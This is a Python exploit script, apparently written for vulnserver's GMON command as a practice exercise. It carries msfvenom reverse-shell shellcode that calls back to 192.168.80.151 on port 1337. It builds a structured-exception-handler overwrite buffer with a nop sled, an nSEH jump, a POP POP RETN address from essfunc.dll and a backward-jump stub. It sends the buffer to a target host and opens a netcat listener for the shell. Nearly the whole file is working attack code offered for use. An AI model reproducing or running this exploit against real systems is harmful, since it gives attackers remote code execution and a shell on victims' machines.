import socket
import sys
import os
import subprocess

#root@kali:~# msfvenom -p windows/shell_reverse_tcp lhost=192.168.80.151 lport=1337 -b '\x00' EXITFUNC=seh -f python -v shellcode
#No platform was selected, choosing Msf::Module::Platform::Windows from the payload
#No Arch selected, selecting Arch: x86 from the payload
#Found 10 compatible encoders
#Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
#x86/shikata_ga_nai succeeded with size 351 (iteration=0)
#x86/shikata_ga_nai chosen with final size 351
#Payload size: 351 bytes
#Final size of python file: 1900 bytes
shellcode =  ""
shellcode += "\xda\xcc\xbe\xc1\x1a\x26\xcc\xd9\x74\x24\xf4\x5f"
shellcode += "\x29\xc9\xb1\x52\x31\x77\x17\x83\xef\xfc\x03\xb6"
shellcode += "\x09\xc4\x39\xc4\xc6\x8a\xc2\x34\x17\xeb\x4b\xd1"
shellcode += "\x26\x2b\x2f\x92\x19\x9b\x3b\xf6\x95\x50\x69\xe2"
shellcode += "\x2e\x14\xa6\x05\x86\x93\x90\x28\x17\x8f\xe1\x2b"
shellcode += "\x9b\xd2\x35\x8b\xa2\x1c\x48\xca\xe3\x41\xa1\x9e"
shellcode += "\xbc\x0e\x14\x0e\xc8\x5b\xa5\xa5\x82\x4a\xad\x5a"
shellcode += "\x52\x6c\x9c\xcd\xe8\x37\x3e\xec\x3d\x4c\x77\xf6"
shellcode += "\x22\x69\xc1\x8d\x91\x05\xd0\x47\xe8\xe6\x7f\xa6"
shellcode += "\xc4\x14\x81\xef\xe3\xc6\xf4\x19\x10\x7a\x0f\xde"
shellcode += "\x6a\xa0\x9a\xc4\xcd\x23\x3c\x20\xef\xe0\xdb\xa3"
shellcode += "\xe3\x4d\xaf\xeb\xe7\x50\x7c\x80\x1c\xd8\x83\x46"
shellcode += "\x95\x9a\xa7\x42\xfd\x79\xc9\xd3\x5b\x2f\xf6\x03"
shellcode += "\x04\x90\x52\x48\xa9\xc5\xee\x13\xa6\x2a\xc3\xab"
shellcode += "\x36\x25\x54\xd8\x04\xea\xce\x76\x25\x63\xc9\x81"
shellcode += "\x4a\x5e\xad\x1d\xb5\x61\xce\x34\x72\x35\x9e\x2e"
shellcode += "\x53\x36\x75\xae\x5c\xe3\xda\xfe\xf2\x5c\x9b\xae"
shellcode += "\xb2\x0c\x73\xa4\x3c\x72\x63\xc7\x96\x1b\x0e\x32"
shellcode += "\x71\xe4\x67\x6c\x16\x8c\x75\x8c\x1d\x74\xf3\x6a"
shellcode += "\x77\x96\x55\x25\xe0\x0f\xfc\xbd\x91\xd0\x2a\xb8"
shellcode += "\x92\x5b\xd9\x3d\x5c\xac\x94\x2d\x09\x5c\xe3\x0f"
shellcode += "\x9c\x63\xd9\x27\x42\xf1\x86\xb7\x0d\xea\x10\xe0"
shellcode += "\x5a\xdc\x68\x64\x77\x47\xc3\x9a\x8a\x11\x2c\x1e"
shellcode += "\x51\xe2\xb3\x9f\x14\x5e\x90\x8f\xe0\x5f\x9c\xfb"
shellcode += "\xbc\x09\x4a\x55\x7b\xe0\x3c\x0f\xd5\x5f\x97\xc7"
shellcode += "\xa0\x93\x28\x91\xac\xf9\xde\x7d\x1c\x54\xa7\x82"
shellcode += "\x91\x30\x2f\xfb\xcf\xa0\xd0\xd6\x4b\xde\x21\xea"
shellcode += "\x41\x77\x98\x9f\x2b\x15\x1b\x4a\x6f\x20\x98\x7e"
shellcode += "\x10\xd7\x80\x0b\x15\x93\x06\xe0\x67\x8c\xe2\x06"
shellcode += "\xdb\xad\x26"

'''
spike file
----------
s_string("GMON");
s_string(" ");
s_string_variable("FUZZ");
s_string("\r\n");
'''

buffer  = 'GMON /.:/ '                  # junk
buffer += '\x90' * 2495                 # nop sled
buffer += shellcode                     # reverse shell
buffer += '\x90' * (999-len(shellcode)) # shellcode placeholder
buffer += '\xeb\x0a\x90\x90'            # nSEH hop over SEH handler
buffer += '\x2b\x17\x50\x62'            # SEH POP, POP, RETN in essfunc.dll

'''
piece of code that allow us to jump forward/backward, taken from Phrack #62 Article 7
fldz
fnstenv [esp-12]
pop ecx
add cl, 10
nop
dec ch  ; ecx=-256;
dec ch  ; ecx=-256;
dec ch  ; ecx=-256;
dec ch  ; ecx=-256;
jmp ecx ; lets jmp ecx (current location - 1024)
'''

buffer += '\x90' * 7
buffer += '\xD9\xEE\xD9\x74\x24\xF4\x59\x80\xC1\x0A\x90\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFF\xE1'
buffer += '\x41' * (5000-10-3494-4-4-2-21-7)
buffer += '\r\n'

try:
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect(('192.168.80.133', 9999))
	print '[+] Sending %s bytes of evil buffer..' %len(buffer)
	s.send(buffer)
	subprocess.call(['nc -nlvp 1337'], shell=True)
except Exception as e:
	print e

